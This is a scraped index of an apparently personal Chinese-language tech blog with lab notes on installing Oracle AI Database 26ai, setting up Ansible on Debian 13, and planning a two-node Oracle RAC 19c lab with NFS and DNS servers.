PATH=$ORACLE_HOME/bin:$PATH; export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib; 1 echo \u0026#34;. /home/oracle/scripts/setEnv.sh\u0026#34; \u0026gt;\u0026gt; /home/oracle/.bash_profile 安裝資料庫軟體 # 1 2 3 su - oracle mkdir -p ${ORACLE_HOME} unzip -q /mnt/nfs/oracle-source/Oracle-AI-database-26ai/LINUX.X64_2326100_db_home.zip -d ${ORACLE_HOME} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [oracle@db124-oracle-26ai db]$ ./runInstaller -help Usage: runInstaller [\u0026lt;flag\u0026gt;] [\u0026lt;command\u0026gt; \u0026lt;option\u0026gt;] Following are the possible flags: -help - display help. -silent - run in silent mode. The inputs can be a response file or a list of command line variable value pairs. [-ignorePrereqFailure - ignore all prerequisite checks failures.] -responseFile \u0026lt; specify the complete path of the response file to use \u0026gt; -executePrereqs | -executeConfigTools | -createGoldImage -executeConfigTools - run the config tools for an installed home if applicable. [-skipStackCheck - skip the stack status check.] -debug - run in debug mode. -applyOneOffs \u0026lt; value \u0026gt; - specify one or more paths of one-off patches to apply to the Oracle home. -nApplyOneOffs \u0026lt; specify a path to a location that contains multiple one-off patches to apply to the Oracle home \u0026gt; -executeRootScript - specify this flag to run the root script automatically if applicable. -configMethod \u0026lt; ROOT | SUDO \u0026gt; - specify the configuration method to be used for automatic root script execution. [-sudoPath \u0026lt; specify the absolute path of the sudo program \u0026gt;] [-sudoUserName \u0026lt; specify the name of the user who is in the sudoers list \u0026gt;] Following are the possible commands: -setupDBHome - install the Oracle Database software home (Oracle home). -setupDBHomeAs \u0026lt; sourceHome \u0026gt; - install the software with Oracle base and privileged O/S groups similar to the specified Oracle home. -createDatabase - install the Oracle Database software (Oracle home) and create a new Single Instance Database. -extendDBHome - extend the Oracle Database software home. -createGoldImage - create a gold image from the current Oracle home. -deployDBGoldImage - deploy the given Oracle Database gold image into the specified target home as the root OS user. -deployDBGoldImageAsHomeUser - deploy the given Oracle Database gold image into the specified target home as the home owner OS user. 設定 db_install.rsp\n原本的 db_install.rsp\n設定文件: install/response/db_install_INSTALL_DB_SWONLY.rsp\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 oracle.install.responseFileVersion=/oracle/install/rspfmt_dbinstall_response_schema_v23.0.0 oracle.install.option=INSTALL_DB_SWONLY UNIX_GROUP_NAME=oinstall INVENTORY_LOCATION=/u01/app/oraInventory SELECTED_LANGUAGES=en ORACLE_HOME=/u01/app/oracle/product/26/db ORACLE_BASE=/u01/app/oracle installEdition=EE OSDBA=dba OSOPER=oper OSBACKUPDBA=dba OSDGDBA=dba OSKMDBA=dba OSRACDBA=dba 1 2 cd ${ORACLE_HOME} ./runInstaller -silent -responseFile ${ORACLE_HOME}/install/response/db_install_INSTALL_DB_SWONLY.rsp 1 2 3 su - root /u01/app/oraInventory/orainstRoot.sh /u01/app/oracle/product/26/db/root.sh 安裝紀錄如檔案內容\nrunInstaller.log\n建立資料庫 instance(CDB,PDB) # $ORACLE_HOME/assistants/dbca/dbca_pdb.rsp 1 2 3 4 5 6 7 8 9 10 11 responseFileVersion=/oracle/assistants/rspfmt_dbca_response_schema_v23.0.0 gdbName=db sid=db124 templateName=General_Purpose.dbc sysPassword=P0ssw0rd.. systemPassword=P0ssw0rd.. characterSet=AL32UTF8 createAsContainerDatabase=true pdbName=pollodb numberOfPDBs=1 pdbAdminPassword=P0ssw0rd.. 1 dbca -silent -createDatabase -responseFile $ORACLE_HOME/assistants/dbca/dbca_pdb.rsp 安裝紀錄\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [oracle@db124-oracle-26ai ~]$ dbca -silent -createDatabase -responseFile $ORACLE_HOME/assistants/dbca/dbca_pdb.rsp Prepare for db operation 8% complete Copying database files 31% complete Creating and starting Oracle instance 32% complete 36% complete 39% complete 42% complete 46% complete Completing Database Creation 51% complete 53% complete 54% complete Creating Pluggable Databases 58% complete 77% complete Executing Post Configuration Actions 100% complete Database creation complete. For details check the logfiles at: /u01/app/oracle/cfgtoollogs/dbca/db. Database Information: Global Database Name:db System Identifier(SID):db124 Look at the log file \u0026#34;/u01/app/oracle/cfgtoollogs/dbca/db/db3.log\u0026#34; for further details. [oracle@db124-oracle-26ai ~]$ 安裝完成後作業 # 設定註冊文件: /etc/oratab 1 db124:/u01/app/oracle/product/26/db:Y 設定資料庫 開機時啟動 # /home/oracle/scripts/start-all.sh 1 2 3 4 5 6 7 8 #!/bin/bash . /home/oracle/scripts/setEnv.sh export ORAENV_ASK=NO . oraenv export ORAENV_ASK=YES dbstart $ORACLE_HOME /home/oracle/scripts/stop-all.sh 1 2 3 4 5 6 7 8 #!/bin/bash . /home/oracle/scripts/setEnv.sh export ORAENV_ASK=NO . oraenv export ORAENV_ASK=YES dbshut $ORACLE_HOME 1 chmod 0755 /home/oracle/scripts/*.sh /etc/systemd/system/oracle.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [Unit] Description=The Oracle Database Service After=syslog.target network.target Wants=network-online.target [Service] # systemd ignores PAM limits, so set any necessary limits in the service. # Not really a bug, but a feature. # https://bugzilla.redhat.com/show_bug.cgi?id=754285 RemainAfterExit=yes User=oracle Group=oinstall Restart=no ExecStart=/bin/bash -c \u0026#39;/home/oracle/scripts/start-all.sh\u0026#39; ExecStop=/bin/bash -c \u0026#39;/home/oracle/scripts/stop-all.sh\u0026#39; # Set resource limits LimitNOFILE=65536 LimitNPROC=65536 LimitSTACK=infinity LimitMEMLOCK=infinity TasksMax=infinity [Install] WantedBy=multi-user.target 1 systemctl start oracle 設定 PDB 開機時啟動 # 1 alter session set container=CDB$ROOT; 1 2 3 4 5 6 SQL\u0026gt; show pdbs CON_ID CON_NAME OPEN MODE RESTRICTED ---------- ------------------------------ ---------- ---------- 2 PDB$SEED READ ONLY NO 3 POLLODB MOUNTED 1 2 ALTER PLUGGABLE DATABASE POLLODB OPEN READ WRITE; alter pluggable database POLLODB SAVE STATE; 1 2 3 4 5 6 SQL\u0026gt; show pdbs CON_ID CON_NAME OPEN MODE RESTRICTED ---------- ------------------------------ ---------- ---------- 2 PDB$SEED READ ONLY NO 3 POLLODB READ WRITE NO 啟用 Archive Mode # 1 2 3 4 5 6 7 sqlplus / as sysdba alter session set container=CDB$ROOT; shutdown immediate; STARTUP MOUNT; alter database archivelog; ARCHIVE LOG LIST; alter database open; 新增使用者 # 檢查當前狀態\n1 SELECT INSTANCE_NAME, STATUS FROM v$instance; 1 2 3 4 5 6 7 8 9 SELECT tablespace_name, file_name FROM dba_data_files; -- 多租戶環境需要檢查 -- SELECT SYS_CONTEXT(\u0026#39;USERENV\u0026#39;, \u0026#39;CON_NAME\u0026#39;) AS CONTAINER_NAME FROM DUAL; alter session set container=POLLODB; CREATE USER pollo IDENTIFIED BY \u0026#34;P@ssw0rd..\u0026#34; ACCOUNT UNLOCK; GRANT CONNECT,RESOURCE TO pollo; ALTER USER pollo QUOTA UNLIMITED ON USERS; GRANT CREATE TABLE, CREATE VIEW, CREATE PROCEDURE, CREATE SEQUENCE TO pollo; ","date":"February 28, 2026","externalUrl":null,"permalink":"/oracle-database/deploy-oracle26ai-on-ol8/","section":"Oracle-Databases","summary":"資料庫環境 # Database version: ORACLE_HOME: /u01/app/oracle/product/26/db 準備檔案 # 資料庫軟體: LINUX.X64_2326100_db_home.zip sha256sum : 5419f613af80477403edbd12f6ce038f3dba5da535b619d3928aee340f0d9ed6 database-preinstall RPM: oracle-ai-database-preinstall-26ai-1.0-0.1.el8.x86_64.rpm Download Page: https://www.oracle.com/database/technologies/oracle26ai-linux-downloads.html\n","title":"deploy Oracle26ai on Oracle Linux 8","type":"oracle-database"},{"content":"","date":"February 26, 2026","externalUrl":null,"permalink":"/tags/ansible/","section":"Tags","summary":"","title":"Ansible","type":"tags"},{"content":"","date":"February 26, 2026","externalUrl":null,"permalink":"/tags/debian/","section":"Tags","summary":"","title":"Debian","type":"tags"},{"content":"以下是我在 Debian 13 安裝 Ansible 紀錄\n1 2 3 4 5 6 7 sudo apt install python3-venv -y mkdir ~/ansible_legacy \u0026amp;\u0026amp; cd ~/ansible_legacy python3 -m venv venv source venv/bin/activate pip install \u0026#34;ansible-core\u0026lt;2.17\u0026#34; vim ~/.zshrc # source ~/ansible_legacy/venv/bin/activate 結果如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 ❯ sudo apt install python3-venv -y Installing: python3-venv Installing dependencies: python3-pip-whl python3-setuptools-whl python3.13-venv Summary: Upgrading: 0, Installing: 4, Removing: 0, Not Upgrading: 0 Download size: 2,782 kB Space needed: 2,957 kB / 961 GB available Get:1 http://ftp.tw.debian.org/debian trixie/main amd64 python3-pip-whl all 25.1.1+dfsg-1 [1,507 kB] Get:2 http://ftp.tw.debian.org/debian trixie/main amd64 python3-setuptools-whl all 78.1.1-0.1 [1,268 kB] Get:3 http://ftp.tw.debian.org/debian trixie/main amd64 python3.13-venv amd64 3.13.5-2 [5,472 B] Get:4 http://ftp.tw.debian.org/debian trixie/main amd64 python3-venv amd64 3.13.5-1 [1,180 B] Fetched 2,782 kB in 2s (1,679 kB/s) Selecting previously unselected package python3-pip-whl. (Reading database ... 332994 files and directories currently installed.) Preparing to unpack .../python3-pip-whl_25.1.1+dfsg-1_all.deb ... Unpacking python3-pip-whl (25.1.1+dfsg-1) ... Selecting previously unselected package python3-setuptools-whl. Preparing to unpack .../python3-setuptools-whl_78.1.1-0.1_all.deb ... Unpacking python3-setuptools-whl (78.1.1-0.1) ... Selecting previously unselected package python3.13-venv. Preparing to unpack .../python3.13-venv_3.13.5-2_amd64.deb ... Unpacking python3.13-venv (3.13.5-2) ... Selecting previously unselected package python3-venv. Preparing to unpack .../python3-venv_3.13.5-1_amd64.deb ... Unpacking python3-venv (3.13.5-1) ... Setting up python3-setuptools-whl (78.1.1-0.1) ... Setting up python3-pip-whl (25.1.1+dfsg-1) ... Setting up python3.13-venv (3.13.5-2) ... Setting up python3-venv (3.13.5-1) ... ❯ mkdir ~/ansible_legacy \u0026amp;\u0026amp; cd ~/ansible_legacy ❯ python3 -m venv venv ❯ source venv/bin/activate ❯ pip install \u0026#34;ansible-core\u0026lt;2.17\u0026#34; Collecting ansible-core\u0026lt;2.17 Downloading ansible_core-2.16.17-py3-none-any.whl.metadata (6.9 kB) Collecting jinja2\u0026gt;=3.0.0 (from ansible-core\u0026lt;2.17) Downloading jinja2-3.1.6-py3-none-any.whl.metadata (2.9 kB) Collecting PyYAML\u0026gt;=5.1 (from ansible-core\u0026lt;2.17) Downloading pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (2.4 kB) Collecting cryptography (from ansible-core\u0026lt;2.17) Downloading cryptography-46.0.5-cp311-abi3-manylinux_2_34_x86_64.whl.metadata (5.7 kB) Collecting packaging (from ansible-core\u0026lt;2.17) Downloading packaging-26.0-py3-none-any.whl.metadata (3.3 kB) Collecting resolvelib\u0026lt;1.1.0,\u0026gt;=0.5.3 (from ansible-core\u0026lt;2.17) Downloading resolvelib-1.0.1-py2.py3-none-any.whl.metadata (4.0 kB) Collecting MarkupSafe\u0026gt;=2.0 (from jinja2\u0026gt;=3.0.0-\u0026gt;ansible-core\u0026lt;2.17) Downloading markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (2.7 kB) Collecting cffi\u0026gt;=2.0.0 (from cryptography-\u0026gt;ansible-core\u0026lt;2.17) Downloading cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (2.6 kB) Collecting pycparser (from cffi\u0026gt;=2.0.0-\u0026gt;cryptography-\u0026gt;ansible-core\u0026lt;2.17) Downloading pycparser-3.0-py3-none-any.whl.metadata (8.2 kB) Downloading ansible_core-2.16.17-py3-none-any.whl (2.2 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.2/2.2 MB 168.7 kB/s eta 0:00:00 Downloading resolvelib-1.0.1-py2.py3-none-any.whl (17 kB) Downloading jinja2-3.1.6-py3-none-any.whl (134 kB) Downloading markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (22 kB) Downloading pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (801 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 801.6/801.6 kB 105.9 kB/s eta 0:00:00 Downloading cryptography-46.0.5-cp311-abi3-manylinux_2_34_x86_64.whl (4.5 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.5/4.5 MB 73.5 kB/s eta 0:00:00 Downloading cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (219 kB) Downloading packaging-26.0-py3-none-any.whl (74 kB) Downloading pycparser-3.0-py3-none-any.whl (48 kB) Installing collected packages: resolvelib, PyYAML, pycparser, packaging, MarkupSafe, jinja2, cffi, cryptography, ansible-core Successfully installed MarkupSafe-3.0.3 PyYAML-6.0.3 ansible-core-2.16.17 cffi-2.0.0 cryptography-46.0.5 jinja2-3.1.6 packaging-26.0 pycparser-3.0 resolvelib-1.0.1 ❯ ansible --version ansible [core 2.16.17] config file = None configured module search path = [\u0026#39;/home/pollochang/.ansible/plugins/modules\u0026#39;, \u0026#39;/usr/share/ansible/plugins/modules\u0026#39;] ansible python module location = /home/pollochang/ansible_legacy/venv/lib/python3.13/site-packages/ansible ansible collection location = /home/pollochang/.ansible/collections:/usr/share/ansible/collections executable location = /home/pollochang/ansible_legacy/venv/bin/ansible python version = 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0] (/home/pollochang/ansible_legacy/venv/bin/python3) jinja version = 3.1.6 libyaml = True 常用 package\n1 ansible-galaxy collection install ansible.posix ","date":"February 26, 2026","externalUrl":null,"permalink":"/worknot/worknot-20260226/","section":"Worknots","summary":"以下是我在 Debian 13 安裝 Ansible 紀錄\n1 2 3 4 5 6 7 sudo apt install python3-venv -y mkdir ~/ansible_legacy \u0026\u0026 cd ~/ansible_legacy python3 -m venv venv source venv/bin/activate pip install \"ansible-core\u003c2.17\" vim ~/.zshrc # source ~/ansible_legacy/venv/bin/activate 結果如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 ❯ sudo apt install python3-venv -y Installing: python3-venv Installing dependencies: python3-pip-whl python3-setuptools-whl python3.13-venv Summary: Upgrading: 0, Installing: 4, Removing: 0, Not Upgrading: 0 Download size: 2,782 kB Space needed: 2,957 kB / 961 GB available Get:1 http://ftp.tw.debian.org/debian trixie/main amd64 python3-pip-whl all 25.1.1+dfsg-1 [1,507 kB] Get:2 http://ftp.tw.debian.org/debian trixie/main amd64 python3-setuptools-whl all 78.1.1-0.1 [1,268 kB] Get:3 http://ftp.tw.debian.org/debian trixie/main amd64 python3.13-venv amd64 3.13.5-2 [5,472 B] Get:4 http://ftp.tw.debian.org/debian trixie/main amd64 python3-venv amd64 3.13.5-1 [1,180 B] Fetched 2,782 kB in 2s (1,679 kB/s) Selecting previously unselected package python3-pip-whl. (Reading database ... 332994 files and directories currently installed.) Preparing to unpack .../python3-pip-whl_25.1.1+dfsg-1_all.deb ... Unpacking python3-pip-whl (25.1.1+dfsg-1) ... Selecting previously unselected package python3-setuptools-whl. Preparing to unpack .../python3-setuptools-whl_78.1.1-0.1_all.deb ... Unpacking python3-setuptools-whl (78.1.1-0.1) ... Selecting previously unselected package python3.13-venv. Preparing to unpack .../python3.13-venv_3.13.5-2_amd64.deb ... Unpacking python3.13-venv (3.13.5-2) ... Selecting previously unselected package python3-venv. Preparing to unpack .../python3-venv_3.13.5-1_amd64.deb ... Unpacking python3-venv (3.13.5-1) ... Setting up python3-setuptools-whl (78.1.1-0.1) ... Setting up python3-pip-whl (25.1.1+dfsg-1) ... Setting up python3.13-venv (3.13.5-2) ... Setting up python3-venv (3.13.5-1) ... ❯ mkdir ~/ansible_legacy \u0026\u0026 cd ~/ansible_legacy ❯ python3 -m venv venv ❯ source venv/bin/activate ❯ pip install \"ansible-core\u003c2.17\" Collecting ansible-core\u003c2.17 Downloading ansible_core-2.16.17-py3-none-any.whl.metadata (6.9 kB) Collecting jinja2\u003e=3.0.0 (from ansible-core\u003c2.17) Downloading jinja2-3.1.6-py3-none-any.whl.metadata (2.9 kB) Collecting PyYAML\u003e=5.1 (from ansible-core\u003c2.17) Downloading pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (2.4 kB) Collecting cryptography (from ansible-core\u003c2.17) Downloading cryptography-46.0.5-cp311-abi3-manylinux_2_34_x86_64.whl.metadata (5.7 kB) Collecting packaging (from ansible-core\u003c2.17) Downloading packaging-26.0-py3-none-any.whl.metadata (3.3 kB) Collecting resolvelib\u003c1.1.0,\u003e=0.5.3 (from ansible-core\u003c2.17) Downloading resolvelib-1.0.1-py2.py3-none-any.whl.metadata (4.0 kB) Collecting MarkupSafe\u003e=2.0 (from jinja2\u003e=3.0.0-\u003eansible-core\u003c2.17) Downloading markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (2.7 kB) Collecting cffi\u003e=2.0.0 (from cryptography-\u003eansible-core\u003c2.17) Downloading cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (2.6 kB) Collecting pycparser (from cffi\u003e=2.0.0-\u003ecryptography-\u003eansible-core\u003c2.17) Downloading pycparser-3.0-py3-none-any.whl.metadata (8.2 kB) Downloading ansible_core-2.16.17-py3-none-any.whl (2.2 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.2/2.2 MB 168.7 kB/s eta 0:00:00 Downloading resolvelib-1.0.1-py2.py3-none-any.whl (17 kB) Downloading jinja2-3.1.6-py3-none-any.whl (134 kB) Downloading markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (22 kB) Downloading pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (801 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 801.6/801.6 kB 105.9 kB/s eta 0:00:00 Downloading cryptography-46.0.5-cp311-abi3-manylinux_2_34_x86_64.whl (4.5 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.5/4.5 MB 73.5 kB/s eta 0:00:00 Downloading cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (219 kB) Downloading packaging-26.0-py3-none-any.whl (74 kB) Downloading pycparser-3.0-py3-none-any.whl (48 kB) Installing collected packages: resolvelib, PyYAML, pycparser, packaging, MarkupSafe, jinja2, cffi, cryptography, ansible-core Successfully installed MarkupSafe-3.0.3 PyYAML-6.0.3 ansible-core-2.16.17 cffi-2.0.0 cryptography-46.0.5 jinja2-3.1.6 packaging-26.0 pycparser-3.0 resolvelib-1.0.1 ❯ ansible --version ansible [core 2.16.17] config file = None configured module search path = ['/home/pollochang/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules'] ansible python module location = /home/pollochang/ansible_legacy/venv/lib/python3.13/site-packages/ansible ansible collection location = /home/pollochang/.ansible/collections:/usr/share/ansible/collections executable location = /home/pollochang/ansible_legacy/venv/bin/ansible python version = 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0] (/home/pollochang/ansible_legacy/venv/bin/python3) jinja version = 3.1.6 libyaml = True 常用 package\n","title":"Debian13 安裝 Ansible","type":"worknot"},{"content":"","date":"February 26, 2026","externalUrl":null,"permalink":"/categories/linux/","section":"Categories","summary":"","title":"Linux","type":"categories"},{"content":"","date":"February 26, 2026","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":" 準備檔案 # Oracle Database 19.3.0.0.0 for Linux x86-64 File Name: LINUX.X64_193000_db_home.zip (2.8 GB) sha256sum: ba8329c757133da313ed3b6d7f86c5ac42cd9970a28bf2e6233f3235233aa8d8 Oracle Database Grid Infrastructure 19.3.0.0.0 for Linux x86-64 File Name: V982068-01.zip (2.7 GB) sha256sum: d668002664d9399cf61eb03c0d1e3687121fc890b1ddd50b35dcbe13c5307d2e OPatch 12.2.0.1.49 (Patch 6880880: OPatch 12.2.0.1.49 for DB 19.0.0.0.0 (Jan 2026)) File Name: p6880880_190000_Linux-x86-64.zip sha256sum: 79181853ce156252719dc2ace2327f9388a694c33312c2da1eac2ffdacb0dcf7 GI RELEASE UPDATE 19.30.0.0.0(REL-JAN260130)(Patch:Linux x86-64) File Name: p38629535_190000_Linux-x86-64.zip (3.8 GB) sha256sum: ce2eb4ea9b973e788ceb6f2bd4c8365999e2a26521c14e4267eea727c7c22d73 DATABASE RELEASE UPDATE 19.30.0.0.0(REL-JAN260130)(Patch:Linux x86-64) File Name: p38632161_190000_Linux-x86-64.zip (2.1 GB) sha256sum: 74bb470a435de8eb129cd94d65aa7052f4998671053c29efb60dbf510b83a8f5 KVM # 預先設定 KVM VM 的 MAC Address 1 printf \u0026#39;52:54:00:%02x:%02x:%02x\\n\u0026#39; $((RANDOM%256)) $((RANDOM%256)) $((RANDOM%256)) 環境資訊 # 硬體資訊 # 第一個版本(notebook version): 這是我的筆記型電腦 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ❯ screenfetch _,met$$$$$gg. pollochang@pollo-nb-5310 ,g$$$$$$$$$$$$$$$P. OS: Debian 13 trixie ,g$$P\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34;Y$$.\u0026#34;. Kernel: x86_64 Linux 6.12.63+deb13-amd64 ,$$P\u0026#39; `$$$. Uptime: 1d 7h 34m \u0026#39;,$$P ,ggs. `$$b: Packages: 2925 `d$$\u0026#39; ,$P\u0026#34;\u0026#39; . $$$ Shell: zsh 5.9 $$P d$\u0026#39; , $$P Resolution: 2970x1680 $$: $$. - ,d$$\u0026#39; DE: GNOME 48.4 $$\\; Y$b._ _,d$P\u0026#39; WM: Mutter Y$$. `.`\u0026#34;Y$$$$P\u0026#34;\u0026#39; WM Theme: `$$b \u0026#34;-.__ GTK Theme: Adwaita [GTK2/3] `Y$$ Icon Theme: Adwaita `Y$$. Font: Cantarell 11 `$$b. Disk: 604G / 1.9T (35%) `Y$$b. CPU: Intel Core i5-10310U @ 8x 4.4GHz [71.0°C] `\u0026#34;Y$b._ GPU: UHD Graphics `\u0026#34;\u0026#34;\u0026#34;\u0026#34; RAM: 27513MiB / 63996MiB 第二個版本(lab version): 這是我的實驗室主機 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [root@kvm-004 ~]# df -h /dev/nvme1n1 954G 107G 847G 12% /vm-disk-02 /dev/nvme0n1 932G 150G 782G 17% /vm-disk-01 /dev/sdb2 1014M 351M 664M 35% /boot /dev/sdb1 1022M 6.0M 1017M 1% /boot/efi /dev/sdd1 1.9T 14G 1.9T 1% /nas-disk-01 /dev/sdc1 932G 52G 880G 6% /vm-disk-03 [root@kvm-004 ~]# lsblk -d -o NAME,MODEL,ROTA,SIZE NAME MODEL ROTA SIZE sdb Samsung SSD 870 0 465.8G sdc WDC WD10TPVT-00U 1 931.5G sdd WDC WD20EZAZ-00G 1 1.8T nvme1n1 ADATA SX8200PNP 0 953.9G nvme0n1 CT1000P3PSSD8 0 931.5G VM Host # notebook version # VM Planform: KVM Share Disk Oracle database: /var/lib/libvirt/images/db145-data-01.raw /var/lib/libvirt/images/db145-data-02.raw Oracle grid: /var/lib/libvirt/images/db145-OCR-01.raw /var/lib/libvirt/images/db145-OCR-02.raw /var/lib/libvirt/images/db145-OCR-03.raw lab version # VM Planform: Oracle KVM Share Disk Oracle database:(data 寫在兩顆硬碟) /vm-disk-01/db155-data-01.raw /vm-disk-02/db155-data-02.raw Oracle grid: /vm-disk-03/db155-OCR-01.raw /vm-disk-03/db155-OCR-02.raw /vm-disk-03/db155-OCR-03.raw 資料庫系統 # notebook version # OS Version: Redhat Linux 9.7 (Minimal Linux Installation) CPU: 8 vCore RAM: 16G Disk: swap: 16G /boot: 1G /u01: 20G Database Info Database version: Oracle Database 19.30.0.0.0 for Linux x86-64 domain db145.pollo.local scan IP: 192.168.122.145 192.168.122.146 192.168.122.147 common-server hostname: common-server-005.pollo.local IP: 192.168.122.5 Service DNS Server NTP Server NFS server: 這邊我是為了節省點腦的硬碟空間 database host 1 hostname: db141.pollo.local ORCLE_SID: db1 (這個有區分大小寫) ORACLE_HOME: /u01/app/oracle/product/19/db Pulic IP: 192.168.122.141 MAC: 52:54:00:b5:8b:7a Virtual IP: 192.168.122.143 , db141-vip.pollo.local Private IP: 192.168.55.141 , db141-priv.pollo.local CPU: 8vCore RAM: 16G SWAP: 16G database host2 hostname: db142.pollo.local ORCLE_SID: db2 (這個有區分大小寫) ORACLE_HOME: /u01/app/oracle/product/19/db Pulic IP: 192.168.122.142 MAC: 52:54:00:19:ae:b2 Virtual IP: 192.168.122.144 , db142-vip.pollo.local Private IP: 192.168.55.142 , db142-priv.pollo.local CPU: 8vCore RAM: 16G SWAP: 16G Disk Groups database DATA-01: 20G DATA-02: 20G grid (asm disk) OCR-01: 5 G OCR-02: 5 G OCR-03: 5 G lab version # OS Version: Redhat Linux 9.7 (Minimal Linux Installation) CPU: 8 vCore RAM: 16G Disk: swap: 16G /boot: 1G /u01: 20G Database Info Database version: Oracle Database 19.30.0.0.0 for Linux x86-64 domain db155.home.pollochang.work scan IP: 172.30.1.155 172.30.1.156 172.30.1.157 database host 1 hostname: db151.home.pollochang.work ORCLE_SID: db151 (這個有區分大小寫) ORACLE_HOME: /u01/app/oracle/product/19/db Pulic IP: 172.30.1.151 NIC: MAC: Virtual IP: 172.30.1.153 , db151-vip.home.pollochang.work Private IP: 10.192.0.151 , db151-priv.pollochang.work MAC: CPU: 8vCore RAM: 16G SWAP: 16G database host2 hostname: db152.home.pollochang.work ORCLE_SID: db2 (這個有區分大小寫) ORACLE_HOME: /u01/app/oracle/product/19/db Pulic IP: 172.30.1.152 NIC: MAC: Virtual IP: 172.30.1.154 , db152-vip.home.pollochang.work Private IP: 10.192.0.152 , db152-priv.home.pollochang.work NIC: MAC: CPU: 8vCore RAM: 16G SWAP: 16G Disk Groups database DATA-01: 50G DATA-02: 50G grid (asm disk) OCR-01: 5 G OCR-02: 5 G OCR-03: 5 G 規劃 ASM # 既然您正在安裝 RAC，而不是單節點的 Standalone Cluster，您只有兩個主要的選項：\nFLEX_ASM_STORAGE (Oracle Flex Cluster 架構) CLIENT_ASM_STORAGE (傳統/標準 Cluster 架構) 針對 Oracle RAC 19c 的選擇建議 # 選項 描述 (RAC 架構) 適用於 建議 CLIENT_ASM_STORAGE 這是傳統/標準 RAC (Standard Cluster) 的存儲模型。 您的 Cluster 不需要使用 Flex ASM (多個節點共用一個 ASM 實例池)。通常適用於大多數兩節點 RAC 或小型 RAC 環境。 對於您的兩節點 RAC 環境，這是最簡單、最常見且推薦的選擇。 FLEX_ASM_STORAGE 這是 Flex Cluster 的存儲模型，它要求使用 Flex ASM。 您的 Cluster 規模較大 (通常超過 4 個節點)，或您希望將 ASM 實例與資料庫實例分離，以實現更高的可擴展性和靈活性。 除非您明確需要 Flex ASM 的功能，否則不推薦在簡單的兩節點環境中使用此選項。 FILE_SYSTEM_STORAGE 使用共享文件系統或 NFS 存儲 OCR 和 Voting Disk。 [cite_start]僅適用於 Standalone Cluster (單節點 GI/非 RAC) [cite: 1] 或 Flex Cluster 中的 Hub 節點。 不適用於您的兩節點 RAC 安裝。 最終決定與配置 # 基於您在兩節點環境中安裝 RAC 的情況，最直接且穩定可靠的選擇是使用 Standard Cluster 架構，並讓每個節點運行自己的 ASM 實例。\n因此，您應該在安裝配置文件中設定：\n1 oracle.install.crs.config.storageOption=CLIENT_ASM_STORAGE 這個設定將指示安裝程式使用傳統的 ASM 存儲模型來配置 OCR 和 Voting Disks，這要求您已經準備好了 ASM Disk Group (透過 ASMLib 或 UDEV) 來存儲這些文件。\n部屬 NFS server # 1 2 yum install nfs-utils systemctl enable --now rpcbind nfs-server nfs-lock nfs-idmap 1 mkdir -p /data/share/oracle /etc/exports 1 /data/share/oracle 192.168.122.0/24(rw,sync,no_subtree_check) 1 systemctl restart nfs 1 2 firewall-cmd --permanent --zone=public --add-service=nfs firewall-cmd --reload 部屬 DNS Server # 安裝 DNS 伺服器 1 sudo yum install dnsmasq 設定文件: /etc/dnsmasq.conf 1 2 3 